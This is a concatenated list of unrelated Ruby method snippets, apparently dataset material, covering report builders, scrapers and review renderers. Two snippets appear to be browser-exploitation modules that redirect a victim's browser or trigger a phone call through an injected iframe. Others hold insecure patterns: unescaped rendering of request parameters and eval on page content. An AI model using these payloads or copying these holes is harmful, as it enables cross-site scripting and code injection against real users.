if step.has_key?(:dynamic_params)\n test_steps += <<-EOS\n <p id=\"dp\">Dynamic Parameters</p>\n EOS\n\n exclusion_term = \"set @kadu_response\"\n step[:dynamic_params].each do |parameter, expression|\n expression = exclusion_term if expression.to_s.include?(exclusion_term)\n test_steps += <<-EOS\n <p>#{parameter} = #{expression}</p>\n EOS\n end\n end\n\n if step.has_key?(:validation_steps)\n\n test_steps += <<-EOS\n <p id=\"validations\">\n Validations\n </p>\n <table id=\"checkpoint\">\n EOS\n\n step[:validation_steps].each do |vstep, result|\n steps = <<-EOS\n <tr>\n <td colspan=\"2\" width=\"90%\">\n <p>#{vstep}</p>\n <p>#{result[\"test_result_message\"]}</p>\n </td>\n <td width=\"10%\" rowspan=\"1\" align=\"center\"><font id=#{status(result[\"test_result_status\"])}>#{result[\"test_result_status\"]}</font></td>\n </tr>\n EOS\n test_steps += steps\n end\n\n test_steps += <<-EOS\n </table>\n EOS\n\n end\n test_case += test_steps\n end\n test_cases += test_case\n test_cases += <<-EOS\n </div>\n <div id=\"footer\">\n <a href=\"##{replace_space_by_dash(test_report[:test_suite_title])}\">back to test suite</a>&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"#summary\">back to summary</a>\n\t </div>\n </div>\n <br>\n EOS\n end\n\n report_footer = <<-EOS\n <br>\n <hr>\n <br>\n </body>\n </html>\n EOS\n\n html_report += report_header + report_tc_summary + test_cases + report_footer\n\n html_report\n end", "def yahoo\n render :text => params[:content]\n end", "def send_to_searchisko(searchisko, metadata, page, site, converted_html)\n metadata[:searchisko_id] = metadata[:id]\n metadata[:searchisko_type] = 'jbossdeveloper_demo'\n\n\n output_url = page.output_path.split('/index.html')[0]\n searchisko_hash = {\n :sys_title => metadata[:title], \n :level => metadata[:level],\n :tags => metadata[:technologies],\n :sys_description => metadata[:summary],\n :sys_content => converted_html,\n :sys_url_view => \"#{site.base_url}#{site.ctx_root.nil? ? '/' : '/' + site.ctx_root + '/'}#{output_url}\",\n :author => metadata[:author],\n :contributors => metadata[:contributors],\n :sys_created => metadata[:published],\n :target_product => metadata[:target_product],\n :sys_project => metadata[:product],\n :github_repo_url => metadata[:github_repo_url],\n :experimental => metadata[:experimental],\n :thumbnail => metadata[:thumbnail],\n :download => metadata[:download]\n } \n\n searchisko.push_content(metadata[:searchisko_type], \n metadata[:searchisko_id], \n searchisko_hash.to_json)\n end", "def http_query_string\n <<-END_POST\nbody=%5B%22KOSE%E9%AB%98%E4%B8%9D%E9%9B%AA%E8%82%8C%E7%B2%BE%E6%B4%97%E9%A2%9C%E4%B9%B3%22%5D&buyer_email=18611543280&buyer_id=2088902582208882&exterface=create_direct_pay_by_user&is_success=T&notify_id=RqPnCoPT3K9%252Fvwbh3InQ8703uAICbLI7SGaz7f3Qe96t7vC6a1YKnYuOZTls2t9kw%252F6z&notify_time=2014-11-11+17%3A59%3A28&notify_type=trade_status_sync&out_trade_no=R990240665&payment_type=1&seller_email=acct-ali%40shiguangcaibei.com&seller_id=2088611493982911&subject=%E8%AE%A2%E5%8D%95%E7%BC%96%E5%8F%B7%3AR990240665&total_fee=1.43&trade_no=2014111159601788&trade_status=TRADE_SUCCESS&sign=1c3e7b66a6a7e704f0ad2ed0bc25ee04&sign_type=MD5\n END_POST\n .chomp!\n end", "def feed_list_html(env)\n\tpage = \"\"\n\tpage << '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\"\n\t\t\"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\n\t\t<html xmlns=\"http://www.w3.org/1999/xhtml\"\n\t\t xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\t\t xsi:schemaLocation=\"http://www.w3.org/MarkUp/SCHEMA/xhtml11.xsd\"\n\t\t xml:lang=\"en\" >\n\t\t\t<head>\n\t\t\t\t<title>WoC scrapped feed list for '+CONFIG[\"host\"].to_s+'</title>\n\t\t\t</head>\n\t\t\t<body>'\n\t\t\tpage << '<dl>'\n\t\t\tfor year in CONFIG[\"years\"] do\n\t\t\t\tpage << \"<dt>#{year[0]}:</dt>\"\n\t\t\t\tpage << '<dd>'\n\t\t\t\tpage << '<dl>'\n\t\t\t\tfor course in CONFIG[\"courses\"] do\n\t\t\t\t\tpage << \"<dt>#{CONFIG[\"course_names\"][course[1]]}</dt>\"\n\t\t\t\t\tpage << \"<dd>\"\n\t\t\t\t\tpage << \"<a href=\\\"http://#{env[\"HTTP_HOST\"]}/#{year[0]}/#{course[0]}/rss.xml\\\">http://#{env[\"HTTP_HOST\"]}/#{year[0]}/#{course[0]}/rss.xml</a>\"\n\t\t\t\t\tpage << \"</dd>\"\n\t\t\t\tend\n\t\t\t\tpage << '</dl>'\n\t\t\t\tpage << '</dd>'\n\t\t\tend\n\t\t\tpage << '</dl>'\n\t\tpage << \t\t\n\t\t\t'</body>\n\t\t</html>'\n\t\treturn page\nend", "def build_request_url\n \"http://snipr.com/site/snip?r=simple&link=#{ensure_http}\"\n end", "def html_markup_html(text); end", "def start(url, conf)\n # Using Absolute value of the constant here\n # Since there is no need to pass the form selector\n # When it is going to be in the global namespace anyway\n login_form = @agent.get(url).form(Configuration::AppConfig::FORM_CSS_SELECTOR)\n login_form = fill(login_form, conf)\n\n # First response page\n # This page corresponds to\n # confirm Mobile number, CGPA page\n response_page = submit_form(login_form)\n\n # Needn't tamper with mobile number / student CGPA\n # I'm assuming it is filled by default\n # Response to Mob/CGPA page is PU/Student Home\n @student_home = submit_form(response_page.form(Configuration::AppConfig::FORM_CSS_SELECTOR))\n\n # Extract unread notifications\n # using regex on appropriate element(s)\n # @TODO Hack alert! find a better way to match notification count\n # @TODO Potential bug: add a begin...rescue NoMethodError for match returning nil\n @unread_notification_count = @student_home.links[5].text.match(/[0-9]+/).to_s.to_i\n\n # Click to go to the notices page\n # And get pdf links for unread notifications\n if unread_notification_count.zero?\n # Action for no new\n Greeting.dl(:new => false, :username => conf.client_data.username)\n else\n # Action for new notifications found\n # Scan notices page for links and click\n # Extract unread links into an Array\n notice_page = @student_home.link_with(text: @student_home.links[5].text).click\n unread_links = notice_page.links_with(text: \"Download\")[0...unread_notification_count]\n\n # Greetz?\n Greeting.dl(:new => true, :username => conf.client_data.username, :file_count => unread_links.count)\n save_pdfs(unread_links)\n end\n\n end", "def on_request_uri(cli, req)\r\n\t\tsend_response(cli, %Q{window.location.replace('#{datastore['Website']}');})\r\n\tend", "def getInfoString()\n contentString=\"\n <div id='content'>\n <h2>#{name}</h2>\n <form method='post' action='/key_location/assign' class='button_to'>\n <input type='hidden' name='location' value=#{URI.encode(name)}><br>\n <input value='Mark as visited' type='submit', id='visited_button' class='btn btn-success'/>\n </form>\n </div>\"\n \n end", "def html_redirect\n <<-HTML\n<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n <meta http-equiv=\"refresh\" content=\"0;URL='#{request.base_url}'\">\n <script>window.location = #{request.base_url.inspect}</script>\n </head>\n <body>\n </body>\n</html>\nHTML\n end", "def body_content(params, show_raw = false)\n p = PatientMedicareEligibilityInfo.new(\"9999999990\", \"Metro\", \"Praveen\", \"K\", Date.new(2014, 5, 19), \"123456789A\")\n #edi_content = p.medicare_eligibility_271_edi_content\n #hcpc_codes_file_path = File.join(Rails.root, 'static_data', 'hcpc_codes', 'hcpc_2013.csv')\n data_hash = p.generate_eligibility_xml\n debug_log data_hash\n if data_hash == {}\n %Q(\n <html><body style='font-color: red'><h1>Error fetching Eligibility Information. Possible Reasons: \n <br>\n <br>\n <h2>1. No matching Patient Information found in Medicare database.\n <h2>2. Temporary Error Contacting Medicare Servers.\n <br>\n <br> \n <h2> Please double check the information you entered and Try after sometime.\n <h2> If Error persists, please contact Fasternotes Support.</body></html>\n )\n else\n html_content = html_data_from_hash(data_hash)\n %Q(\n #{html_content}\n )\n end\n end", "def call\n begin\n doc = open_and_scrap_url\n content = TAGS.inject({}) {|hsh, tag| hsh[tag] = doc.css(tag).map(&:text); hsh}\n rescue StandardError => e\n result = Result.new(:error, e.message, Hash.new([]))\n else\n result = Result.new(:ok, \"\", content)\n end\n end", "def do_request url\n Nokogiri::HTML(HTTParty.get(url))\nend", "def http_query_string_sgcb\n <<-END_POST\nbody=%5B%22KOSE%E9%AB%98%E4%B8%9D%E9%9B%AA%E8%82%8C%E7%B2%BE%E6%B4%97%E9%A2%9C%E4%B9%B3%22%5D&buyer_email=18611543280&buyer_id=2088902582208882&exterface=create_direct_pay_by_user&is_success=T&notify_id=RqPnCoPT3K9%252Fvwbh3InQ8703uAICbLI7SGaz7f3Qe96t7vC6a1YKnYuOZTls2t9kw%252F6z&notify_time=2014-11-11+17%3A59%3A28&notify_type=trade_status_sync&out_trade_no=R990240665&payment_type=1&seller_email=acct-ali%40shiguangcaibei.com&seller_id=2088611493982911&subject=%E8%AE%A2%E5%8D%95%E7%BC%96%E5%8F%B7%3AR990240665&total_fee=1.43&trade_no=2014111159601788&trade_status=TRADE_SUCCESS&sign=a25c543b8b84166f6c5f556c2f229fb1&sign_type=MD5\n END_POST\n .chomp!\n end", "def prepare_html(content , page_type = 'N')\n #header\n 1.upto 5 do |no| content.gsub! /^(={#{no}}) (.*) (={#{no}})/ ,\"\\nh#{no+1}. \\\\2\\n\" end\n 1.upto 5 do |no| content.gsub! /^(={#{no}}) (.*)/ ,\"\\nh#{no+1}. \\\\2\\n\" end\n\n #list\n 1.upto 5 do |no| content.gsub! /^([ ]{#{no}})(\\*) ?(.*)/ ,\"#{'*'*no} \\\\3\" end\n 1.upto 5 do |no| content.gsub! /^([ ]{#{no}})(#) ?(.*)/ ,\"#{'#'*no} \\\\3\" end\n #content.gsub! /(\\*) v (.*)/ , \"\\\\1 -\\\\2-\"\n \n #block\n content.gsub! /^\\{\\{\\{/ , \"<pre>\" ; content.gsub! /^\\}\\}\\}/ , \"</pre>\"\n content.gsub! /^\\{\\{\\\"/ , \"<blockquote>\" ; content.gsub! /^\\\"\\}\\}/ , \"</blockquote>\"\n content.gsub! /^\\{\\{\\[/ , \"<math>\" ; content.gsub! /^\\]\\}\\}/ , \"</math>\"\n \n #concept & property\n content.gsub! /\\[\\[(.*?):=(.*?)\\]\\]/ , '\\1(\\2)'\n #content.gsub! /\\[\\[(.*?)[<>=].*?\\]\\]/ , \\\"\\\\1\\\":#{APP_ROOT}/page/\\\\1\" \n content.gsub! /\\[\\[(.*?)\\]\\]/ , \"\\\"\\\\1\\\":#{APP_ROOT}/entry/\\\\1\" if defined?(APP_ROOT)\n\n #comment\n content.gsub! PTN_COMMENT , \"\\\\1\"\n content.gsub! PTN_COMMENT_MULTILINE , \"\"\n if defined? SystemConfig\n SystemConfig.site_info.each do |e|\n content.gsub! /(\\s)#{e[1]}:/ , \"\\\\1#{e[2]}\"\n end\n content.gsub! SystemConfig.ptn_url_unnamed , \"\\\\1\\\"\\\\2\\\":\\\\2\"\n content.gsub! \"%ROOT%\" , APP_ROOT\n end\n \n #Process by page_type\n case page_type\n when 'N'\n math_list = content.scan( PTN_MATH ) ; math_list.each do |m|\n #content.gsub! \"$#{m[0]}$\" , latex_render(m[0])\n content.gsub! \"$#{m[0]}$\" , get_math_img(m[0])\n end\n math_block_list = content.scan( PTN_MATH_BLOCK ) ; math_block_list.each do |m|\n #content.gsub! \"#{m[0]}\" , latex_render(m[0])\n content.gsub! \"#{m[0]}\" , get_math_img(m[0])\n end\n when 'S'\n menu_list = content.scan( PTN_MENU ) ; menu_list.each do |m|\n menu_title = m[0] ; menu_target = m[1] ; menu_str = \"M{{#{menu_title}|#{menu_target}}}\"\n #$lgr.info \"#{menu_title} / #{menu_target}\"\n result = link_to_remote(menu_title , :url => { :action => 'menu' , :query => CGI.escape(menu_target) })\n content.gsub! menu_str , result\n end\n end\n #$lgr.info \"[prepare_html] \"+content\n query_list = content.scan( PTN_QUERY ) ; query_list.each do |q|\n query_type = q[0] ; query_content = q[1] ; query_str = \"#{query_type}{{#{query_content}}}\"\n case query_type\n when 'P'\n result = eval(\"find_page :display=>'|@title|@tags|@created_at|' ,\" + query_content )\n result = result.join(\"\\n\") if result.class == Array\n result = \"|_.Title|_.Tag|_.CreatedAt|\\n\"+result if query_content.scan(/:display/).size == 0\n #$lgr.info \"[prepare_html] Query : #{query_str} , #{result}\"\n content.gsub! query_str , result\n end\n end\n #content.gsub! SystemConfig.ptn_url , \"\\\"\\\\0\\\":\\\\0\"\n #???content.gsub!(SystemConfig.ptn_site) \"\\\"#{ApplicationController.SystemConfig(\\\\0)}\\\":\\\\0\"\n content\n end", "def merchant_contract_html\n send_data MachovyRails::Application.assets.find_asset(VendorMailer::LEGAL_AGREEMENT_HTML).to_s, \n :type => \"text/html\", \n :disposition => 'inline' \n end", "def on_request_uri(cli, req)\n\t\tcode = %Q{\n\t\t\tdocument.body.innerHTML = \"<iframe src=tel:#{datastore['phoneNumber']}></iframe>\";\n\t\t\tXSSF_POST(\"Phone call launched\",'#{self.name}');\n\t\t}\n\t\t\n\t\tsend_response(cli, code)\n\tend", "def h(str)\n CGI.escapeHTML(str.to_s)\n end", "def match_http_response_text(check,http_response_text)\n\n # first convert to intrigue uri format\n\n # grab headers\n header_part = http_response_text.split(/\\n\\n/).first\n body_part = http_response_text.split(/\\n\\n/).last\n\n headers = header_part.split(\"\\n\");\n body = body_part\n\n # TODO - fix to only grab content!!!!\n cookies = headers.select{|x| x =~ /^set-cookie:(.*)/i }\n\n ### grab the page attributes\n match = body.match(/<title>(.*?)<\\/title>/i)\n title = match.captures.first if match\n\n match = response.body.match(/<meta name=\\\"?generator\\\"? content=\\\"?(.*?)\\\"?\\/?>/i)\n generator = match.captures.first.gsub(\"\\\"\",\"\") if match\n\n # rest is a response\n # save title\n # save Cookies\n # save scripts ?\n data = {\n \"details\" => {\n \"hidden_response_data\" => body,\n \"headers\" => headers,\n \"cookies\" => cookies,\n \"generator\" => generator,\n \"title\" => title\n }\n }\n\n match_uri_hash(check,data)\n end", "def manual_request\n if @cloud\n if @cloud.api == \"Atmos\"\n @path = \"ex: /rest/objects/objectid?info\"\n @headers = \"One on each line. ex: {'x-emc-meta' => 'tag_name1=value1,tag_name2=value2'}. x-emc-date, x-emc-uid and x-emc-signature will be added automatically\"\n elsif @cloud.api == \"Amazon\"\n @path = \"ex: /ObjectName\"\n @headers = \"One on each line. ex: {'Content-MD5' => '033bd94b1168d7e4f0d644c3c95e35bf'}. Date and Authorization will be added automatically\"\n elsif @cloud.api == \"Swift\"\n @path = \"ex: /container/ObjectName.\"\n @headers = \"One on each line. ex: {'key' => 'value'}. X-Auth-Token will be added automatically\"\n end\n else\n @path = \"\"\n @headers = \"One on each line. ex: {'key' => 'value'}.\"\n @other = true\n end\n respond_to do |format|\n format.html { render \"shared/manual_request\" }\n end\n end", "def h(str)\n CGI.escapeHTML(str)\n end", "def head_main(options)\n options[:charset] ||= 'utf-8' \n \n # Prefix (leading space)\n if options[:prefix]\n prefix = options[:prefix]\n elsif options[:prefix] == false\n prefix = ''\n else\n prefix = ' '\n end\n\n # Separator\n unless options[:separator].blank?\n separator = options[:separator]\n else\n separator = '|'\n end\n\n # Suffix (trailing space)\n if options[:suffix]\n suffix = options[:suffix]\n elsif options[:suffix] == false\n suffix = ''\n else\n suffix = ' '\n end\n \n # Lowercase title?\n if options[:lowercase] == true\n @title = @title.downcase unless @title.blank?\n end\n \n # Default page title\n if @title.blank? && options[:default]\n @title = options[:default]\n end\n\n buffer = \"\"\n\n # Set website/page order\n if @title.blank?\n # If title is blank, return only website name\n buffer << content_tag(:title, options[:site]) \n else\n if options[:reverse] == true\n # Reverse order => \"Page : Website\"\n buffer << content_tag(:title, @title + prefix + separator + suffix + options[:site])\n else\n # Standard order => \"Website : Page\"\n buffer << content_tag(:title, options[:site] + prefix + separator + suffix + @title)\n end\n end\n \n buffer << \"\\n\"\n\t\tbuffer << tag(:meta, \"http-equiv\" => \"Content-type\", :content => \"text/html; charset=#{options[:charset]}\")\n\t\tbuffer << csrf_meta_tag\n\t\tbuffer.html_safe\n end", "def submit\n\t\tset_post_data\n get_response @url\n parse_response\n\tend", "def ta_response(params)\n url = \"\"\n params.each do |param|\n url = url + \"&\" if url != \"\"\n url = url + param.to_s + \"=\" + URI::encode(@options[param].to_s)\n end \n response = get_html_content(@start_url + \"?\" + url)\n puts url \n return response\n end", "def loadHandinPage()\n end", "def mechanize; end", "def get_my_html_from_open_uri(u)\n hdrs = {\"User-Agent\"=>\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\", \"Accept-Charset\"=>\"utf-8\", \"Connection\"=>\"Keep-Alive\", \"Accept\"=>\"text/html\"}\n my_html = \"\"\n begin\n open(u, hdrs).each {|s| my_html << s}\n rescue\n my_html = \"<html><body><p /><b>hello world</b></body></html>\"\n end\n return my_html\n end", "def get_my_html_from_open_uri(u)\n hdrs = {\"User-Agent\"=>\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\", \"Accept-Charset\"=>\"utf-8\", \"Connection\"=>\"Keep-Alive\", \"Accept\"=>\"text/html\"}\n my_html = \"\"\n begin\n open(u, hdrs).each {|s| my_html << s}\n rescue\n my_html = \"<html><body><p /><b>hello world</b></body></html>\"\n end\n return my_html\n end", "def get_my_html_from_open_uri(u)\n hdrs = {\"User-Agent\"=>\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\", \"Accept-Charset\"=>\"utf-8\", \"Connection\"=>\"Keep-Alive\", \"Accept\"=>\"text/html\"}\n my_html = \"\"\n begin\n open(u, hdrs).each {|s| my_html << s}\n rescue\n my_html = \"<html><body><p /><b>hello world</b></body></html>\"\n end\n return my_html\n end", "def index\n @referrer=\"\"\n @format=request.format\n @ticket=params[:ticket]\n if request.env[\"HTTP_REFERER\"]\n @referrer=URI(request.env[\"HTTP_REFERER\"]).host\n end\n @host= URI(\"http://\"+Pref.host_url).host\n if (@ticket) and (@referrer==@host or @referrer==\"www.\"+@host or @format==\"text/xml\")\n redirect_to :action => \"show\", :id => @ticket\n else\n\n respond_to do |format|\n format.html{}\n format.iphone {render :layout=> 'layouts/application.iphone.erb'}# index.iphone.erb \n end\n end\n end", "def html_markup_text(text); end", "def html_post_form\n expiration = (Time.now + 360).utc.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n policy_document = %{\n{\"expiration\": \"#{expiration}\",\n \"conditions\": [\n {\"bucket\": \"#{@cloud.bucket}\"},\n [\"starts-with\", \"$key\", \"TE\"],\n {\"success_action_redirect\": \"http://www.google.fr/\"},\n [\"content-length-range\", 0, 1048576]\n ]\n}\n }\n @policy = Base64.encode64(policy_document).gsub(\"\\n\",\"\")\n @signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n @cloud.shared_secret, @policy)\n ).gsub(\"\\n\",\"\")\n end", "def custom_display_as_html(code, file_url)\n begin\n review_scores = self.scores\n\n #********************Learning Targets******************\n code = code + \"<h2>Learning Targets</h2><hr>\"\n if review_scores[0].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They state what the reader should know or be able to do after reading the lesson<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They state what the reader should know or be able to do after reading the lesson<br/>\" \n end\n\n if review_scores[1].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They are specific<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They are specific<br/>\"\n end\n\n if review_scores[2].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They are appropriate and reasonable i.e. not too easy or too difficult for TLED 301 students<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They are appropriate and reasonable i.e. not too easy or too difficult for TLED 301 students<br/>\"\n end\n\n if review_scores[3].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They are observable i.e. you wouldn't have to look inside the readers' head to know if they met this target<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They are observable i.e. you wouldn't have to look inside the readers' head to know if they met this target<br/>\"\n end\n\n code = code + \"<br/><i>Number of Learning Targets: </i>#{review_scores[4].comments.gsub(/\\\"/,'&quot;').to_s}<br/>\"\n code = code + \"<br/><i>Grade: </i>#{review_scores[5].comments.gsub(/\\\"/,'&quot;').to_s}<br/>\"\n code = code + \"<br/><i>Comment: </i> <dl><dd>#{review_scores[6].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n\n #*******************Content************************\n code = code + \"<h2>Content</h2><hr>\"\n code = code + \"<i>File:</i>\"\n if file_url.nil?\n code = code + \"File has not been uploaded<br/>\"\n else\n code = code + file_url.to_s + \"<br/>\"\n end\n \n code = code + \"<i>Compliment:</i>\"\n code = code + \"<ul><li>#{review_scores[8].comments.gsub(/\\\"/,'&quot;').to_s}</li><li>#{review_scores[9].comments.gsub(/\\\"/,'&quot;').to_s}</li></ul>\"\n code = code + \"<i>Suggestion:</i>\"\n code = code + \"<ul><li>#{review_scores[10].comments.gsub(/\\\"/,'&quot;').to_s}</li><li>#{review_scores[11].comments.gsub(/\\\"/,'&quot;').to_s}</li></ul>\"\n\n #*******************Sources and Use of Source Material************************\n code = code + \"<h2>Sources and Use of Source Material</h2><hr>\"\n code = code + \"<br/>How many sources are in the references list?: #{review_scores[12].comments.gsub(/\\\"/,'&quot;').to_s}<br/>\"\n code = code + \"<br/>List the range of publication years for all sources, e.g. 1998-2006: <b>#{review_scores[13].comments.gsub(/\\\"/,'&quot;').to_s} - #{review_scores[14].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/><br/>\"\n\n if review_scores[15].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> It lists all the sources in a section labeled \\\"References\\\"<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> It lists all the sources in a section labeled \\\"References\\\"<br/>\"\n end\n\n if review_scores[16].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The author cites each of these sources in the lesson<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The author cites each of these sources in the lesson<br/>\"\n end\n\n if review_scores[17].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The citations are in APA format<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The citations are in APA format<br/>\"\n end\n\n if review_scores[18].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The author cites at least 2 scholarly sources<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The author cites at least 2 scholarly sources<br/>\"\n end\n\n if review_scores[19].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> Most of the sources are current (less than 5 years old)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> Most of the sources are current (less than 5 years old)<br/>\"\n end\n\n if review_scores[20].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> Taken together the sources represent a good balance of potential references for this topic<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> Taken together the sources represent a good balance of potential references for this topic<br/>\"\n end\n\n if review_scores[21].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The sources represent different viewpoints<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The sources represent different viewpoints<br/>\"\n end\n\n code = code + \"<br/><b>What other sources or perspectives might the author want to consider?</b><br/>\"\n code = code + \"<dl><dd>#{review_scores[22].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n \n if review_scores[23].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> All materials (such as tables, graphs, images or videos created by other people or organizations) posted are in the lesson in accordance with the Attribution-Noncommercial-Share Alike 3.0 Unported license, or compatible. <br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> All materials (such as tables, graphs, images or videos created by other people or organizations) posted are in the lesson in accordance with the Attribution-Noncommercial-Share Alike 3.0 Unported license, or compatible<br/>\"\n end\n\n code = code + \"<br/><b>If not, which one(s) may infringe copyrights, or what areas of text may need citations, revisions or elaboration?</b><br/>\"\n code = code + \"<dl><dd>#{review_scores[24].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n\n code = code + \"<br/>Please make a comment about the sources. Explain how the author can improve the use of sources in the lesson.<br/>\"\n code = code + \"<dl><dd>#{review_scores[25].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd>\"\n\n #*******************Multiple Choice Questions************************\n code = code + \"<h2>Multiple Choice Questions</h2><hr>\"\n if review_scores[26].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> There are 4 multiple-choice questions<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> There are 4 multiple-choice questions<br/>\"\n end\n\n if review_scores[27].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> They each have four answer choices (A-D)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> They each have four answer choices (A-D)<br/>\"\n end\n\n if review_scores[28].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> There is a single correct (aka: not opinion-based) answer for each question<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> There is a single correct (aka: not opinion-based) answer for each question<br/>\"\n end\n\n if review_scores[29].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The questions assess the learning target(s)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The questions assess the learning target(s)<br/>\"\n end\n\n if review_scores[30].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The questions are appropriate and reasonable (not too easy and not too difficult)<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The questions are appropriate and reasonable (not too easy and not too difficult)<br/>\"\n end\n\n if review_scores[31].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The foils (the response options that are NOT the answer) are reasonable i.e. they are not very obviously incorrect answers<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The foils (the response options that are NOT the answer) are reasonable i.e. they are not very obviously incorrect answers<br/>\"\n end\n\n if review_scores[32].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The response options are listed in alphabetical order<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The response options are listed in alphabetical order<br/>\"\n end\n\n if review_scores[33].comments == \"1\"\n code = code + \"<img src=\\\"/images/Check-icon.png\\\"> The correct answers are provided and listed BELOW all the questions<br/>\"\n else\n code = code + \"<img src=\\\"/images/delete_icon.png\\\"> The correct answers are provided and listed BELOW all the questions<br/>\"\n end\n\n code = code + \"<br/><h3>Questions</h3>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[34].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[35].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[36].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[37].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[38].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[39].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[40].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[41].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[42].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<i>Type: </i><b>#{review_scores[43].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[44].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[45].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n\n #*******************Rubric************************\n code = code + \"<h2>Rubric</h2><hr>\"\n\n code = code + \"<h3>Importance</h3>\"\n code = code +\n \"<div align=\\\"center\\\">The information selected by the author:</div><table class='general'>\n <tr>\n <th>5 - Very Important </th>\n <th>4 - Quite Important </th>\n <th>3 - Some Importance </th>\n <th>2 - Little Importance</th>\n <th>1 - No Importance </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[46].comments == \"1\"\n code = code + \"<li>Is very important for future teachers to know</li>\"\n end\n if review_scores[47].comments == \"1\"\n code = code + \"<li>Is based on researched information</li>\"\n end\n if review_scores[48].comments == \"1\"\n code = code + \"<li>Is highly relevant to current educational practice</li>\"\n end\n if review_scores[49].comments == \"1\"\n code = code + \"<li>Provides an excellent overview and in-depth discussion of key issues</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[50].comments == \"1\"\n code = code + \"<li>Is relevant to 